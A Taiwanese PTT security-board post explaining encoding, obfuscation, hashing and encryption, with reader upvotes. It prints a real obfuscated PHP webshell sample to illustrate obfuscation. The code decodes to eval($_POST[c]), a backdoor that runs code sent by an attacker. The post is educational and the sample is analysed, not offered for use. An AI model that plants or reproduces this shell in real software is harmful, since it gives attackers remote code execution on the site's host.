作者CMJ0121 (不要偷 Q)
看板NetSecurity
標題[閒聊] 2018-M01 - 混淆、編碼、雜湊、加密 (201)
時間Wed Jan 31 23:24:30 2018
2018-M01 - 混淆、編碼、雜揍、加密 (201)
> 各種開獎、各種開履歷
## 前言 ##
很久沒寫文章了~ 希望 2018 的第一篇合大家的口味
會寫這篇主要是最近在寫 糟(ㄟ) 糕(ㄆㄧㄢˋ) 的爬蟲
發現目標使用的技術蠻有趣的
各種浪費我的人生 但使用到的技術也僅限於混淆跟編碼
讓我想再寫一次四種關鍵字的差異性
## 內容 ##
在很多時候 程式設計師不太想讓別人瞭解內容時會使用各種技術
總結來說可以分為三種:
編碼、
雜湊、
加密 三者本身有各自的特色
就結果論來說 三者給予足夠多的資源、人力、時間都有辦法找到原本的內容
### 編碼 ###
就實務面來說 編碼可以透過不少方式來推測編碼函數
透過頻率分析[1] 可以判斷出判斷哪些常見字的編碼方式 加快分析的速度
也可以透過足夠多的明文[2] 來做差異分析推測編碼方式
這類型都是利用本身可逆、不具雪崩性[3] 來進行攻擊
### 混淆 ###
編碼的另一種延伸方式則是混淆[4]
透過移除不必要的資訊、替換成不易閱讀的內容造成本身的閱讀障礙
像是某天拿到的 webshell 樣本 (原本是單一行 我是為了'閱讀'方便拆成若干行)
@$_=[].'';
@$___=$_[''];
$____=$___;
$____++;
$_____=$____;
$_____++;
$______=$_____;
$______++;
$_______=$______;
$_______++;
$________=$_______;
$________++;
$________++;
$________++;
$________++;
$________++;
$________++;
$________++;
$________++;
$________++;
$________++;
$_________=$________;
$_________++;
$_________++;
$_________++;
$_________++;
$_=$____.$___.$_________.$_______.'6'.'4'.'_'.$______.$_______.$_____.$________.$______.$_______;
$________++;
$________++;
$________++;
$_____=$_________;
$_____++;
$__=$___.$_________.$_________.$_______.$________.$_____;
@$__($_("ZXZhbCgkX1BPU1RbY10p"))
這段 Code 本身不具可讀性 在分析上也需要花費夠多的人力才有辦法推敲其中的邏輯
透過這類型的編碼、混淆技術 在執行上沒有太大的影響
但是對於需要逆向分析其中邏輯的人 則需要花費大量時間、工具來進行分析
### 雜湊 ###
對於雜湊[5]來說 本身設計上並不預期可逆向反推原本的資訊
透過一個 n-to-1 的數學函數 將原本的資訊
壓縮成固定長度的資料
本身利用數學上證明的散佈特性 證明碰撞的情況很難發生
在隱匿資訊上的效果非凡 但本身不可逆的特性只能用來證明資料的正確性
在實務面上可以用來儲存密碼 因為在各種情況下密碼都不應該被明文儲存
這代表需要有一種方式 既可以比對密碼的正確性 又可以避免儲存明文密碼
在現代雜湊函數的設計上 都會將雪崩性設計在函數特性中
為了避免高速運算與硬體上的加速也會使用較大空間
但因本身壓縮資料的特性 代表雜湊碰撞的可能性存在
透過彩虹表[6] 技巧 可以將問題從時間轉換成空間
也就是先行計算所有可能的雜湊值來反推可行的原始內容
另外也可透過函數本身的缺陷 用比暴力破解還要快的速度來產生碰撞值
通常為了增加破解的難度 會額外使用 salt[7] 來增加額外的隨機性
### 加密 ###
最後來到神秘的殿堂 為了結合編碼 (可逆) 與雜湊 (不可破解) 的特性
密碼學 [8] 成為最後一道防線 (?)
就現代密碼學角度來看可以分為兩大族群:對稱式與非對稱式 [9]
對稱式加密代表加密、解密使用相同的一把金鑰 這表示加密的人同時需要負擔保護金鑰的責任
就對稱式加密來看
平均了每個字出現的機率來減少頻率分析攻擊
增加了雪崩的特性來避免明文攻擊
只要確保演算法本身沒有存在嚴重的瑕疵 對稱式加密本身是一個好的保密方式
像是 AES [10] 則是一個廣泛被使用的對稱式加密演算法
除了旁道攻擊 [11] 外 目前尚未有有效的攻擊方式
但就像一開始提到的 對稱式加密需要加、解密雙方同時擁有金鑰 在某些情境下是不適合的
非對稱式加密則是加密、解密擁有不同的兩把金鑰
對需要讓雙方資訊不對等的情境下使用特別有效
非對稱加密是建構在一種特殊的數學模型上
像是去年文章 [12]中提到的 ECC 就是建構在橢圓曲線本身難以反推的特性
在這種特性下進行加密時 握有密鑰的人才有辦法解開秘文
## 給 END 的人 ##
不想被一眼看出來內容 →編碼、混淆
想浪費別人人生 →混淆、加密
一定不想被看出內容 →雜湊
自己想看內容但別人不能看 →加密
[1]:
https://en.wikipedia.org/wiki/Frequency_analysis
[2]:
https://en.wikipedia.org/wiki/Chosen-plaintext_attack
[3]:
https://en.wikipedia.org/wiki/Avalanche_effect
[4]:
https://en.wikipedia.org/wiki/Minification_(programming)
[5]:
https://en.wikipedia.org/wiki/Hash_function
[6]:
https://en.wikipedia.org/wiki/Rainbow_table
[7]:
https://en.wikipedia.org/wiki/Salt_(cryptography)
[8]:
https://en.wikipedia.org/wiki/Cryptography
[9]:
https://en.wikipedia.org/wiki/Public-key_cryptography
[10]:
https://en.wikipedia.org/wiki/Advanced_Encryption_Standard
[11]:
https://en.wikipedia.org/wiki/Side-channel_attack
[12]:
https://webptt.com/m.aspx?n=bbs/NetSecurity/M.1494334702.A.07A.html
--
※ 發信站: 批踢踢實業坊(ptt.cc), 來自: 123.193.122.171
※ 文章網址: https://webptt.com/m.aspx?n=bbs/NetSecurity/M.1517412273.A.E5F.html
1F:推 craig1122321: 推一個認真資安教學文,我還不把這四個加在一起做撒 02/01 00:51
2F:→ craig1122321: 尿牛丸 02/01 00:51
3F:推 momo81: 推 02/01 10:15
4F:推 hmj: 讚,謝謝分享! 02/01 17:13
5F:推 ym7834: 謝謝 02/01 18:22
6F:推 klass: 推~~! 02/04 23:12
7F:推 medal893: 推 02/21 14:39
8F:→ adsl9527: 推 02/25 19:49
9F:推 holishing: 02/28 22:37
10F:推 achilles2550: 推! 04/02 17:17
11F:推 haker00d: 推 04/03 17:13
12F:推 ddtsatan: 推 04/20 14:57
13F:推 rezoy0012: 推個 04/28 17:45
14F:推 hzllaga: 推 05/02 14:45